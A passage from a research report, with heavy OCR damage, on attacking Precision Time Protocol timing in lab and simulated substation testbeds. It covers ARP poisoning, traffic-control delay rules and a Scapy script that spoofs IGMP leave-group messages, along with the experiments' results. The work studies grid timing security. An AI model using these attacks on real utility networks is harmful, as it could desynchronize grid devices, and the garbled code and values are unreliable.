16 1.716059 192.168.2.107 192.168.1.120 PTPv2 86 8174 Delay_Req Message
17 1.716532 192.168.1.120 192.168.2.107 PTPv2 96 8174 Delay_Resp Message
18 1.716532 192.168.1.120 192.168.2.107 PTPv2 96 8174 Delay_Resp Message
19 1.760658 192.168.1.120 192.168.2.167 PTPv2 86 8674 Sync Message

Frame 4: 96 bytes on wire (768 bits), 96 bytes captured (768 bits) on interface \Device\NPF_{5F35BE22-(284-425A-85CA-74ABAAS046D4}, id 0
Ethernet II, Src: Juniperf_fd:b8:a7 (@c:81:26:fd:b8:a7), Dst: HP_c6:aB:ea (84:69:93:c6:a8:ea)

Internet Protocol Version 4, Src: 192.168.1.120, Dst: 192.168.2.107

User Datagram Protocol, Src Port: 320, Dst Port: 320

Precision Time Protocol (IEEE1588)

0000 .... = majorSdoId: Unknown (8x8)
.. 1001 = messageType: Delay_Resp Message (0x9)
0000 .... = minorVersionPTP: @

.. 0016 = versionPTP: 2
messagelength: 54

domainNumber: @

minorsdoId: 0

flags: 0x0400

correctionField: 0.600600 nanoseconds
messageTypeSpecific: @
ClockIdentity: @x98f07bfffe6alffa
SourcePortID: 1

sequenceld: 8172

controlField: Delay_Resp Message (3)
logMessagePeriod: 127

Figure 32: Wireshark Capture of Normal Traffic PTP Before ARP Poisoning

‘Capturing from enp0s31f6.
Analyze Statistics Telephony Wireless Tools Help
ERE QcH) Iy~ EaaQrE
Destination Protocol . _Length sequenceld _Info %
TexasIns_26:d6:dd  ARP 42 Gratuitous ARP for 192.166.2.106 (Reply)
TexasIns_26:d6:dd ARP Gratuitous ARP for 192.168.2.186 (Rep
192.168.1.120 PTPV2 645 Delay_Req Message
192.168.1.128 PTPVZ 645 Delay Req Message
TexasIns 26:d6:dd ARP Gratuitous ARP for 192.168.2.106
TexasIns_26:d6

Gratuitous ARP for 192.168.2.166 (Repl
Gratuitous ARP for 192.168.2.
Gratuitous ARP for 192.168.2.
Gratuitous ARP for 192.168.2.166

TexasIns_:
TexasIns_
TexasIns_

Gratuitous ARP for 192.168.2.186
Gratuitous ARP for 192.168.2.166
Gratuitous ARP for 192.168.2. 186

646 Delay_Req nusloe J

646 Delay_Req Message
Texasins Gratuitous ARP for 192.168.2

Flgure 33: Attacker ereshark Capture of Poisoned Slave PTP Traffic

TexasIns.

There are a couple ways to confirm that the ARP poisoning was successful. If you have access to
the victim’s machine, you can simply check their ARP cache for the intended malicious changes.
If you see the attacker’s MAC address paired with IP addresses not belonging to the attacker’s
computer, the attack was successful. However, in a real-world situation, it is unlikely that you
have access to the victim’s machine which is one of the main reasons for an ARP poisoning
attack in the first place. Luckily, there is one other simple way to validate the success of the
attack: open Wireshark and view what packets are being sent to the attacker computer. If the
victim machine had no prior communication with the attacker computer before the ARP
poisoning but then packets from the victim machine start being sent to the attacker, we know it
was successful. However, if there were already communications between the victim and attacker,
there is one more step to be able to separate the intercepted packets from the normal traffic. It is
important to note, however, that to successfully ARP poison and forward PTP packets to the
master using iptables, the attacker must spam the ARP reply, so it does not get overwritten by the
valid entry in the ARP cache. The simplest method to do so is to check the destination IP address
within the packet in question; if it is the IP address of the attacker computer, then the victim
intended to send that packet to the attacker. However, if the destination IP address does not match
the attacker’s IP address, the victim intended to send it to a different computer, but the poisoned
ARP entry caused it to be redirected to the attacker!

debian@beaglebone:™S arp -a

7 (192.168.2.106) at Oc:81:26:fd:bB:a9 [ether]
debian@beaglebone:™S arp -a M

T (192.168.2.106) at 84:69:93:cH6:a8:95 [ether] on etho
. debian@beaglebone:™$

Figure 34: Original ARP Cache and Poisoned ARP Cache for Slave BBB



In Figure 35’°s Wireshark capture below, the attacker is spoofing itself as the master BBB. We can
confirm this by checking that the destination IP is the master BBB’s IP while the MAC address
remains as the attacker’s MAC address. As a result, the ‘Delay Request Message’ is sent to the
attacker instead of the PTP master BBB.

File Edit view Go Capture Analyze Statistics Telephony wWireless Tools Help
EdeonDORE Q¢ I»I-AEFQaQE

[R]ptp.v2.sequenceid == 7416

No. Time Source Destination Protocol Length sequenceld Info
924 7376.9858462.. 192.168.2.107 192.168.1.120

934 7377.9858786.. 192.168.2.107 192.168.1.120 PTPv2 86

7416 Delay_Req Message
7416 Delay Req Message

» Frame 924: 86 bytes on wire (688 bits), 86 bytes captured (688 bits) on interface enp@s3ife, id @
» Ethernet II, Src: TexasIns 26:d6:dd (98:f@:7b:26:d6:dd), Dst: 84:69:93:c6:a8:95 (84:69:93:c6:a8:95)
» Internet Protocol Version 4, Src: 192.168.2.107, Dst: 192.168.1.120
~ User Datagram Protocol, Src Port: 319, Dst Port: 319
Source Port: 319
Destination Port: 319
Length: 52
Checksum: 0x63d5 [unverified]
[Checksum Status: Unverified]
[Stream index: 1]
[Timestamps]
UDP payload (44 bytes)
Precision Time Protocol (IEEE1588)
0000 .... = majorSdoId: Unknown (6x8)
.... 0001 = messageType: Delay Req Message (0x1)
0000 .... = minorVersionPTP: @
. 0010 = versionPTP: 2
messagelLength: 44
domainNumber: ©
minorSdold: ©
» flags: Bx0400
» correctionField: ©.000000 nanoseconds
messageTypeSpecific: @
» ClockIdentity: ex98fe7bfffe26dedd
SourcePortID: 1
controlField: Delay Req Message (1)
logMessagePeriod: 127
originTimestamp (seconds): 1695503855
originTimestamp (nanoseconds): 61491131

Figure 35: Wireshark Capture of PTP after ARP Poisoning

In Figure 36, we are looking at the same packet but this time it is being forwarded by the attacker

to the master BBB, which was the slave BBB’s original intended destination before the packet got
intercepted.

File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
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L] \ ptp.v2.sequenceid == 7416

No. Time source Destination Protocol Length sequenceld Info
924 7376.9858462.. 192.168.2.107 192.168.1.120 PTPv2 8
934 7377.9858786.. 192.168.2.107 192.168.1.120

7416 Delay Req Message
7416 Delay_Req Message

Frame 934: 86 bytes on wire (688 bits), 86 bytes captured (688 bits) on interface enp8s31f6, id 6
Ethernet II, Src: 84:69:93:c6:a8:95 (84:69:93:c6:a8:95), Dst: JuniperN_fd:b8:a5 (@c:81:26:fd:b8:a5)
Internet Protocol Version 4, Src: 192.168.2.107, Dst: 192.168.1.126
User Datagram Protocol, Src Port: 319, Dst Port: 319
Source Port: 319
Destination Port: 319
Length: 52
Checksum: ©x63d5 [unverified]
[checksum Status: Unverified]
[Stream index: 1]
[Timestamps]
UDP payload (44 bytes)
Precision Time Protocol (IEEE1588)
= majorSdoId: Unknown (0x@)
. 0001 = messageType: Delay Req Message (Ox1)
... = minorVersionPTP: @
. 0010 = versionPTP: 2
messagelength: 44
domainNumber: @
minorsdoId: @
» flags: 0x0400
» correctionField: ©.000000 nanoseconds
messageTypeSpecific: 0
» ClockIdentity: ©x98f@7bfffe26d6dd
SourcePortID: 1
controlField: Delay_Req Message (1)
logMessagePeriod: 127
originTimestamp (seconds): 1695503855
originTimestamp (nanoseconds): 61491131

Figure 36: Wireshark Capture of PTP after ARP Poisoning

In the PTP architecture there are five major message types: Announce, Sync, Follow-up, Delay
Request, and Delay Response. The first three message types are generated by the master BBB and



broadcasted to the slave BBB whether it requests it or not. The first three message types are
crucial when considering precise clock synchronization for the local clocks. However, when it
comes to the ‘Delay Request’ and ‘Delay Response’, we are no longer dealing with a broadcast-
type relationship, rather it becomes a request and reply relationship. Thus, the slave BBB
generates the ‘Delay Request’ and sends that directly to the master BBB for any time propagation
delay. The master then sends the ‘Delay Response’ with that delay information to the slave BBB.
As stated by Ahmed in the PTP report [3], the Delay Request-Response determines the delay on
the wire which is important for the overall time accuracy, stability, and performance of the PTP
architecture.

In Figures 37 and 38 below, we enable the built-in packet forwarding mechanism in the attacker’s
network configuration, set up iptables configuration, and configure our desired Traffic Control
(TC) rules.

printf "
sysctl

printf "
sysctl

printf "\

sudo i { G € f6 192.168.2.107 192.168.1.120 udp 319 T $forward_ip:319

32 match ip protocol 17 @xFF match ip src 192.168.2.107 match ip dst $forward ip match ip sport 319 exFFFF

n

Figure 38: TC Rule Configuration Script

Using the TC rules, we were able to run a test of implementing a 1 second delay, 50 millisecond
delay and a random delay for each test case. The random delay was configured with a base delay
of 1 second with a range + 0.5 seconds. With these three levels of attack, we hope to discover to
what level of impact that a delay on the ‘Delay Request’ packet could pose on a PTP architecture.

During our initial analysis of the Distributed Ledger Technology (DLT) network architecture, we
noticed PTP was configured to use multicast routing. The difficulty of implementing ARP
poisoning on an architecture using multicast routing is presented later in section 4.6.

45 DLT TESTBED

The desire to implement our ARP poisoning attack on the DLT testbed stems from the realistic
application of PTP in a utility/substation architecture to distribute timing to edge devices like
relays and power meters. To timestamp event reports and log the behavior of device sensors



within the network architecture of a substation or at a power utility, it is crucial to have a reliable
source of precise time like PTP and IRIG-B.

HMI servers (Control Time Source Architecture
center and Local
substation) with PTP

(192.168.100.X) | SEL-2488 GPS clock

—
o 1- DarkNet timing source: switch (1) close

2- Internal clock timing source: switch (1) open

®

CISCO Eth switch
Eth - Eth

SEL-3401 clock displays

CISCO Eth switch
Eth - Eth
Type of cables

Ethernet cables (PTP) IRIG-B cables with BNC connectors

GPS: Global positioning system, DLT: Distributed ledger technology, IRIG-B: Inter-range
instrumentation group-time code format B, PTP: Precision time protocol, SEL:
Schweitzer Engineering Laboratories

Figure 39: DLT Testbed
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Figure 42: SEL 2488 PTP Configuration Settings

4.6 MULTICAST CHALLENGES

PTP supports both unicast and multicast methods of transportation. In our initial testbed shown in
Figure 4, we use unicast routing for transporting PTP packets, whereas the DLT testbed shown in
Figure 39 uses multicast routing. Per the IEEE 1588 standards, PTP uses multicast destination IP
addresses like 224.0.1.129 and 224.0.0.107 by default. Upon receiving network traffic at these IP
addresses, they are then forwarded to the devices listed in the multicast group through the Internet
Group Management Protocol (IGMP). This dramatically changes the dynamics of any type of
MitM attack, thus presenting another layer of difficulty. It is important to note that the multicast
layer acts like a shadow layer between the source and destination, thus making it impossible to
ARP poison any of the addresses within the multicast group. However, in our attempt to
implement unicast routing in the DLT testbed, we found that the slave devices connected to the
“Ethernet switches and gateways” layer in Figure 40 were not able to synchronize correctly with
the SEL-2488 master clock.



msg interval request @

ptp4l_configuration? - Notepad
servo_num_offset values 10

File1 Editl Format View Help faglﬁgreset_ln;er‘val ; 4 servo_offset_threshold @
|[g obal] neighborPropbelayThresh 2@eceeee write phase_mode o
# masteronly 0 M
# Default Data set G.8275.portDs.localPriority 128 .
# Transport options

# asCapable auto
twoStepFlag 1 BMCA ptp # ‘s
slaveOnly_ . 8 inhibit_announce o transportSpecific 0x0
socket_priority 0 inhibit_delay req o ptp_dst_mac 01:1B:19:00:00:00
priority1 128 ignore_source id o p2p_dst_mac 01:80:(2:00:00:0F
priority2 128 4 udp_ttl 1
domainumber @ # Run time options udp6_scope OxRE
#utc_offset 37 # uds_address Jvar/run/ptpal
cioctclass 248 assume_two_step 2] #
c-ockAccuracy . OxFE logging_level 6 # Default interface options
offsetScaledlLogvariance @xFFFF th t bled
free_running ] path_trace_enable 0 #
freq_est_interval 1 follc.:w_up_mfo 0 clock_type oc
dscp_event 0 f:lybr:‘l(ELQZQ ) @ network_transport ubpva
dscp_gener‘al 0 1nhlblt_mult.lcast_ser\rlce ] delay mechanism E2E
dataset_comparison ieee1538 net_sync_monitor o time_stamping hardware
6.8275.defaultDs. localpriority 128  Lc-Spanning tree 6 tsproc_mode filter
maxStepsRemoved 255 thtlmestémp_tlmeout L delay filter moving_median

unicast listen ] o -
# . - delay_filter length 10
# port Data Set unicast_master_table ] - =

. . egressLatency 0

# unicast req duration 3600 inoressl atenc 0
logAnnounceInterval 1 use_syslog 1 boEndar cloci bod 0
logsyncInterval 0 verbose ] 9 N v ]
operLogsyncInterval 2] summary_interval 9 s
logMinDelayReqInterval @ kernel_leap 1 # Clock description
logMinPdelayReqInterval @ check_fup_sync 0 # o
operLogPdelayReqInterval @ # productDescription 33
announceReceiptTimeout 3 # Servo Options revisionData 33
syncReceiptTimeout 9 # manufacturerIdentity  @e:ee:e@
delayAsymmetry ] pi_proportional _const @.@ userDescription ;
fault_reset_interval 4 pi_integral_const 0.0 timeSource 0XAQ

Figure 43: PTP41 Configuration

In the above Figure 43, we implement PTP on the slave BBB using PTP41 daemon. We
discovered that the slave BBB encountered some synchronization issues when running the PTPd
daemon while connected to DLT testbed. The slave BBB was unable to recognize the best master
clock while on the DLT network and continued to use its internal clock as the master. After
implementing PTP41 on the slave BBB, we were able to establish a stable connection between the
SEL-2488 master clock and the slave BBB. Many of the parameters within the PTP41
configuration were left as default, however we did modify certain parameters like ‘ptp_dst mac’,
‘network _transport’, and delay mechanism because of the network architecture of the DLT
testbed.

The DLT testbed offered a more practical environment of simulated electric substation, which
presented us very different types of challenges. Within the DLT testbed, like many other
utility/substation networks, PTP is transmitted using multicast. IGMP plays a crucial role in the
operation of multicast, so our next goal was to research how to manipulate IGMP in a way that
allows the attacker to successfully remove the slave BBB from the multicast group or add the
attacker to the group before performing an ARP poison attack. We triggered a legitimate leave
group message by powering down the slave BBB and then turning it back on. We captured this
IGMP message on Wireshark and dissected the packet layer by layer. This allowed us to rebuild
the exact same IGMP message in a Python script on the attacker machine. The next step was to
spoof the DLT network switch with this fabricated IGMP message as shown in the figures within
Section 4.6.1.



4.6.1 Fabricating IGMP Packets

MNo. Time Source Destination Frotocol  Length  sequenceld Info
38955 3.199985326 192.168.108.223 224.8.8.22 IGMPv3 62 Membership Report / Leave group 224.6.1.129 / Leave group 224.0.0.167
31673 3.211962032 192.168.100.223 224.8.0.22 I6MPv3 62 Menbership Report / Join group 224.6.6.107 for any sources / Join group 224.6.1.129 for any sources

40271 4.167981335 192.168.100. 223 1224.0.0.22  IGMPv3 62 Menbership Report / Join group 224.6.6.107 for any sources / Join group 224.6.1.129 for any sources

<

01 00 S5e 08 00 16 a8 al 59 09 6b 50 0F
00 30 00 00 40 00 01 02 de 69 <O a8 6¢
00 16 94 64 00 00 22 00 14 10 @0 00 0¢
00 00 €0 00 00 6b 04 00 00 00 €0 00 01

» Frame 49271: 62 bytes on wire (496 bits), 62 bytes captured (496 bits) on interface enp@s3ife, id @
» Ethernet II, Src: ASRockIn_09:6b:50 (aB:al:59:09:6b:50), Dst: IPvdmcast_16 (@1:00:5e:00:00:16)
> Internet Protocol Version 4, Src: 192.168.100.223, Dst: 224.0.0.22
v Internet Group Management Protocel
[16MP Version: 3]
Type: Membership Report (8x22)
Reserved: 0@
Checksum: 0x1410 [correct]
[Checksum Status: Good]
Reserved: 0000
Num Group Records: 2
v Group Record : 224.0.8.107 Change To Exclude Mode
Record Type: Change To Exclude Mode (4)
Aux Data Len: 0
Num Src: @
Multicast Address: 224.0.0.107
v Group Record : 224.0.1.129 Change To Exclude Mode
Record Type: Change To Exclude Mode (4)
Aux Data Len: 0
Hum Src: @
Multicast Address: 224.6.1.129

Figure 44: Join Group Message

No.  Time Source Destination Protocol  Length  sequenceld Info

1 0.000000000 192.168.160.223 224.0.0.22 IGMPV3 62 Membership Report / Leave group 224.0.1.129 / Leave group 224.0.0.107
> Frame 1: 62 bytes on wire (496 bits), 62 bytes captured (496 bits) on interface enp@s31f6, id @ o1 0
> Ethernet II, Src: ASRockIn_09:6b:50 (a8:al:59:@9:6b:50), Dst: IPvamcast_16 (01:00:5e:00:00:16) 00 3
> Internet Protocol Version 4, Src: 192.168.108.223, Dst: 224.0.6.22 00 1
v Internet Group Management Protocol o0 0

[IGMP Version: 3]
Type: Membership Report (@x22)
Reserved: 00
Checksum: 0x1610 [correct]
[Checksum Status: Good]
Reserved: 0000
Num Group Records: 2
v Group Record : 224.8.1.129 Change To Include Mode
Record Type: Change To Include Mode (3)
Aux Data Len: @
Num Src: @
Multicast Address: 224.0.1.129
~ Group Record : 224.0.0.107 Change To Include Mode
Record Type: Change To Include Mode (3)
Aux Data Len: @
Num Src: @
Multicast Address: 224.0.0.107

Figure 45: Leave Group Message
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» [Frane B59151 75 byEes on wire (609 BIES], 75 bytes captured (600 BItS) on interface §
» Ethernet IT, Src: AsrockIn_69:6b:50 (aB:a1:59:69:6b:50), Dst: IPvdmcast 16 (81:06:5e:06:08:16)
» Internet Protocol Version 4, Src: 192.168.160.223, Dst: 224.0.8.22
w Internet Group Management Protocol

[16MP Version: 3]

Type: Membership Report (6x22)

Reserved: 08

Checksun: 8x687c [correct]

[Checksun Status: Good)

Reserved: 6060

Num Group Records:

Figure 46: Fabricated Leave Group Message Unsuccessful
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No. Time Source Destination Protocol Length Info
2@51.. 21.312415127 192.168.100.79 224.0.0.22 IGMPV3 58 Membership Report / Leave group 224.0.0.187

22 2 IGMPV3 50 Membership Report / Leave group 224 129

: IGMPV3 em Report / Le: roup 2

IGMPV3 Report / Leave group 224

50 Members|

192.168.100.79

Frame 329753: 50 bytes on wire (400 bits), 50 bytes captured (400 bits) on interface enpes3ifé, id ©
Ethernet II, Src: ASRockIn _09:6b:51 (a8:a1:59:89:6b:51), Dst: IPv4mcast 16 (01:00:5e:00:00:16)
Internet Protocol Version 4, Src: 192.168.100.79, Dst: 224.0.0.22
Internet Group Management Protocol

[IGMP Version: 3]

Type: Membership Report (@x22)

Reserved: 00

Checksum: @xfa92 [correct]

[Checksum Status: Good]

Reserved: 0000

Num Group Records: 1

(v

Group Record : 224.0.0.107 Change To Include Mode
Record Type: Change To Include Mode (3)
Aux Data Len: @

Num Src: ©

Figure 47: Fabricated Leave Group Message Successful



File Edit Format View Help

from scapy.all import Ether, IP, sendp

from scapy.packet import Packet

from scapy.fields import ByteEnumField, ByteField, PacketlistField, IPField, XShortField, ShortField

from scapy.contrib.igmp import IGMP

# Define a custom Group Record class
class IGMPv3GroupRecord(Packet): #GroupRecord(Packet):
name = "IGMPv3 Group Record" #"IGMP Group Record"
fields _desc = [
ByteEnumField("record_type", 3, {3: "Change To Include Mode"}),
ByteField("aux_data_len", @),
ShortField("num_src", @),
IPField("maddr", "224.0.0.251")

1

# Define a custom IGMPv3 Membership Report class
class IGMPv3_Membership_Report(IGMP):
name = "IGMPv3 Membership Report™
fields_desc = [
ByteField("type", @x22),
ByteField("max_resp_code", 8),
ShortField("chksum", Mone),
#IPField("group_address", "6.0.8.8"),
ByteField("resv", 8),
ByteField("s", @),
#ByteField("qgrv", @),
#ByteField("qqic", @),
ShortField("num_grp_recs", 1), # Set to 1 for one group record
PacketlistField("group_records", [], IGMPv3GroupRecord, count_from=lambda pkt: pkt.num_grp_recs)

1
# Extracting key details from the packet dissection

eth_dst = "81:80:5e:06:008:16"
eth_src = "aB:a31:59:09:6b:51"

ip_src = "192.168.108.79"
ip_dst = "224.6.8.22"
ip_ttl = 1

ip_proto = 2

# Create a Group Record for the Leave Group operation
leave_group_record = IGMPv3GroupRecord(maddr="224.9.8.167")

# Constructing the packet using the custom IGMPv3 Membership Report class
packet = (
Ether(dst=eth_dst, src=eth_src) /
IP(src=ip_src, dst=ip_dst, ttl=ip ttl, proto=ip_proteo) /
IGMPv3_Membership_Report(group records=[leave_group_record])

Figure 48a: Scripted Command for IGMP Leave Group Message



#ByteField("grv", ©),

#ByteField("gqic", @),

ShortField("num_grp_recs", 1), # Set to 1 for one group record

PacketlistField("group_records™, [], IGMPv3GroupRecord, count_from=lambda pkt: pkt.num_grp_recs)
1

# Extracting key details from the packet dissection
eth_dst = "01:00:52:00:00:16"

eth_src = "a8:a1:59:89:6b:51"

ip src = "192.168.100.79"

ip dst = "224.0.0.22"

ip ttl =1

ip_proto = 2

# Create a Group Record for the Leave Group operation
leave_group_record = IGMPv3GroupRecord(maddr="224.08.6.107")

# Constructing the packet using the custom IGMPv3 Membership Report class
packet = (
Ether(dst=eth_dst, src=eth_src) /
IP(src=ip_src, dst=ip_dst, ttl=ip_ttl, proto=ip_proto) /
IGMPv3_Membership_Report(group_records=[leave_group_record])

)

# Displaying the packet
packet.show()

# Sending the packet
sendp(packet)

# Create a Group Record for the Leave Group operation
leave group_record = IGMPv3GroupRecord(maddr="224.0.1.129")

# Constructing the packet using the custom IGMPv3 Membership Report class
packet = (
Ether(dst=eth_dst, src=eth_src) /
IP(src=ip_src, dst=ip_dst, ttl=ip_ttl, proto=ip_proto) /
IGMPv3_Membership_Report(group_records=[leave_group_record])

)

# Displaying the packet
packet.show()

# Sending the packet
sendp(packet)

Figure 48b: Python Script for Spoofing IGMP Leave Message Continued

5. ANALYSIS AND RESULTS

5.1 PING FLOOD DENIAL-OF-SERVICE ATTACK RESULTS

In the images below we focus on the offset from master and observed drift features of the PTP
plots. We first capture a baseline communication between the PTP master and PTP slave to
establish a ground truth. Then we conducted 6 distinct experiments, attacking the switch port used
by the master and slave nodes, at three different DoS speeds, a malicious packet every 50,000
microseconds, every 100 microseconds, and as fast as the experimental testbed would allow
(flood). In the plots below, the x axis represents the timestamp while the y axis is dependent on
what is shown in the plot’s legend.



5.1.1 Baseline Time Series Plots
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Figure 49: Offset from Master DDoS Baseline
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Figure 50: Observed Drift DDoS Baseline

5.1.2  AttackSlave 50000 Time Series Plots
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Figure 51: Offset from Master DDoS AttackSlave 50000
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Figure 52: Observed Drift DDoS AttackSlave 50000

5.1.3 AttackSlave 100 Time Series Plots
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Figure 53: Offset from Master DDoS AttackSlave 100
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Figure 54: Observed Drift DDoS AttackSlave 100




5.1.4 AttackSlave Flood Time Series Plots
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Figure 57: Observed Drift DDoS AttackSlave Flood



5.1.5 AttackMaster 50000 Time Series Plots
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Figure 58: Offset from Master DDoS AttackMaster 50000

Observed rift

105400 105410 105420 105430 105440




5.1.6 AttackMaster_100 Time Series Plots
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Figure 61: Observed Drift DDoS AttackMaster 100




5.1.7 AttackMaster_Flood Time Series Plots
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Figure 62: Offset from Master DDoS AttackMaster Flood
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Figure 63: Observed Drift DDoS AttackMaster Flood

5.2 FORK BOMB ATTACK RESULTS

The fork bomb attack targeted CPU resources on the network switch. This attack did not
significantly impact the timing system, most likely due to the features on the switch that protect
resources designated for processing network traffic, the device’s primary function, and the
resiliency of the protocol itself. If all PTP traffic is affected with the same latency, then the
methods used by PTP to compensate for network delays will be sufficient to protect from this
attack against network infrastructure.

An additional experiment that we did not conduct would be to see if this type of attack could be
used on the BBB endpoints themselves. But having a presumption of compromise for those
devices, which are presumably better protected than network devices in a WAN path between
clocks, would lead to many attacks, including destruction or shutting down the clock which may
be easier and more effective.



5.3 ARP POISONING ATTACK RESULTS

In the following time series plots, we analyze three attack metrics (1 second delay, 50 millisecond
delay, and random delay) on the “Delay Request” message type compared to the baseline PTP
traffic. To assess the performance and reliability of the synchronization we focus specifically on
offset from master and observed drift stats from the logs. These visualizations are critical in
evaluating how well the system is maintaining time synchronization. In Figures 64 and 65, we
create a time series plot from the baseline data. Figure 64 shows the offset from master behavior
over a 9-hour period. In addition, Figure 65 shows the observed drift behavior over a 9-hour
period.
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Figure 64: Offset from Master Delay Baseline
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Figure 65: Observed Drift Baseline

The baseline performance of PTP serves as a reliable benchmark which gives insight into its
operational behavior within a carefully controlled environment without external disruptions. This
helps to establish the ground truth. The consistency in the offset, which signifies the difference in
time between the PTP master clock and slave devices, rarely deviates beyond a negligible margin.
This demonstrates the inherent stability and reliability of the PTP system. Furthermore, when




examining the observed drift, which represents the gradual change in time synchronization, you
can see in Figure 65 that it stays within a confined range. This is important because it illustrates
the clock's ability to maintain synchronization. These findings are critical as they set a ground
truth for evaluating the impact of delay attacks on the PTP's performance.
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Figure 66: Offset from Master 1 Second Delay
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Figure 67: Observed Drift 1 Second Delay

To test the impact of delay attacks, we first start by implementing a 1 second delay on the ‘Delay
Request’ PTP message. In our initial analysis, it is quite evident that the 1 second delay is having
some kind of impact on the PTP. This introduction of variance in both the offset and drift
highlights the vulnerability of PTP to be resilient against timing disruptions and maintain accurate
time synchronization. During the attack phase, we can see that the offset occasionally exhibits
spikes that are exceedingly greater than those observed in the baseline. This could lead to



significant timing discrepancies in real-world applications. In addition, the drift data shows that
the clock correction mechanisms are struggling to compensate for the delay, which could result in
cumulative timing errors over prolonged periods.
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Figure 68: Offset from Master 50 Millisecond Delay
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Figure 69: Image for Observed Drift 50 Millisecond Delay

The 50 millisecond delay attack's impact, while less drastic than the 1 second delay, still signifies
a potential threat to the PTP's accuracy. There is a noticeable degradation in synchronization
accuracy. The more frequent but smaller peaks we see from the norm during the attack phase
suggest that the PTP system is attempting to correct itself and account for the implemented delay,
at a cost to its precision. This simply results in increased offset and drift variability. This level of



disturbance may not be catastrophic but could still compromise systems where millisecond-level
synchronization is crucial.
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Figure 70: Offset from Master Random Delay
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Figure 71: Observed Drift Random Delay

The random attack delay introduces an element of unpredictability, which is particularly
challenging for the PTP system to maintain clock performance and accuracy. The erratic behavior
observed in the offset and drift measurements could be symptomatic of a system under stress,
trying to adapt to an irregular and changing attack pattern. This scenario is of significant concern
as it does not allow for a straightforward mitigation strategy and could render the PTP system
unreliable.



6. LITERATURE REVIEW

Alghamdi and Schukat perform a set of cyber attacks against PTP. These include (attack 1)
delayed packet transmission, (attack 2) correction field manipulation, (attack 3) grandmaster
(GM) timestamp manipulation of transparent clock (TC), and (attack 4) Byzantine attack. The
paper highlights the following typical attacker locations: attack 1 is the network switch, attacks 2
and 3 are the TC, and attack 4 is the GM. In their work, these attacks involved MitM approaches
to delay and manipulate messages [8]. Even though the attacks by Alghamdi and Schukat did not
implement an ARP poisoning technique to become the MitM device in the network, we still
found attacks 1, 2, and 3 to be insightful.

The purpose of the delayed packet transmission was to desynchronize slave clocks efficiently by
introducing an asymmetric delay in the path between the slaves and their master and then
introducing a consecutive large delay in the uplink and downlink path between the master and its
slaves that makes a slave clock always slew with the maximum frequency [8]. Attack 1 closely
resembles our delay attack, where we implemented an asymmetric delay on the delay request
messages sent from the slave clock to the master clock.

For the correctionField manipulation to be successful it required the attacker to compromise the
TC and intercept the follow_up and/or delay response messages to modify the correction field
value [8]. This would then result in false calculations of the mean path delay and offset. The
authors also discovered that PTPd was not only vulnerable to both symmetric and asymmetric TC
attacks, but the delay values were incorrectly reported.

In the timestamp manipulation attack, GM timestamps T1 and T4 are modified by the MitM
device either at the GM node or in transit by the TC. The attack accomplishes this attack by
manipulating the preciseOriginTimestamp of the follow up messages (T1) and receiveTimestamp
of delay response messages (T4) [8]. By gradually increasing T1 and T4 in sync, the authors
discovered inaccurate offset calculations and mean path delay values.

Note that their specific MitM approaches did not use ARP poisoning, but instead used a
compromised device between the GM and the slave devices. The compromised device could
delay the messages associated with synchronization for clocks in PTP asynchronously. As a
result, the clocks would no longer be in sync with one another. The paper describes how clocks
that are out of sync can have detrimental impacts to the electric grid.

Akbarzadeh et al. explore PTP and IEC 61850. In this paper, the authors discuss the importance
and challenges of time synchronization in IEC 61850 substations with PTP implementation [9].
There is also some discussion on accurate timing for the Sampled Message Protocol (SMP) of
IEC 61850. They also perform experiments with cyber attacks against PTP to study the
consequences of those attacks and explore potential mitigation strategies. Akbarzadeh et al
highlight relevant papers within this space of cyber attacks on PTP but point out the unrealistic
attack approaches some authors have used before becoming the MitM device. It is important to
note that the emergence of new communication protocols into the power substation architecture
led to the implementation of modern substation automation systems that significantly improve
operations and management substations on the electric grid. PTP has gradually become the
preferred method of time synchronization, which is responsible for coordinating the actions of



devices interconnected in various parts of the electric grid. As a result, impacts on one part of the
grid can trigger a cascading incident across the network. In consideration of the CIA triad, the
authors walk through a step-by-step method a potential attacker may take to compromise PTP
implemented at a substation. Here are the following steps: reconnaissance, record and collect
network data to help map out the PTP network, manipulate the integrity of the network like
adding another master clock and then potentially change the network time, and modify PTP
messages [9].

Alghamdi and Schukat study the many strategies that an attacker may take to compromise and
impact PTP networks. They explore how cyber attacks can impact the synchronization of various
clocks in the networks. They broke down the attack types into internal with two subcategories and
external attacks [10]. Expanding on these attacks, they highlight two different types of attackers,
namely a MitM attacker and packet injector attacker [10]. They conclude that attackers have
many attack vectors and paths to achieve their objectives.

7. SUMMARY AND FUTURE WORK

This technical report highlights the potential avenues available to an attacker to compromise a
PTP network and negatively influence time synchronization. We attempted the following attacks
in a secure environment utilizing PTP: ping flood, fork bomb, network protocol fuzzing, ARP
poisoning, and IGMP spoofing. ARP poisoning was the only form of attack that we had
significant success with in our PTP environment. If an attacker was able to gain initial access to a
local network running PTP, then they could execute an ARP poisoning attack to become a MitM
on the local network. When successful, such an ARP poisoning attack strategy allows the attacker
to implement an asynchronous delay on any of the PTP packets.

Throughout our research, we thought of several additional ideas that we did not have time for yet.
Future work for an ARP poisoning attack within this context could be attempting to drop, modify,
or replay PTP packets and analyze the effects. Currently, we only delay the intercepted packets in
an attempt to throw off the path symmetry. Another idea is highlighting how an attacker could
join the local network of a substation before performing any MitM attacks. We also discussed the
possibility of comparing the effects of certain attacks on different PTP platforms such as PTPd
and PTP4I or different PTP profiles such as the default profile defined in the IEEE 1588-2008
standard, power profile, telecom profile, etc. Would the platforms or profiles handle the attacks in
different ways? There is also a lot of future work remaining for our research into multicast group
attacks and spoofing. The goal here will be to focus on the multicast network and research how to
manipulate the multicast group correctly and modify the IGMP messages to successfully cause
the master or slave clocks on the network to subscribe to or leave specified multicast groups.
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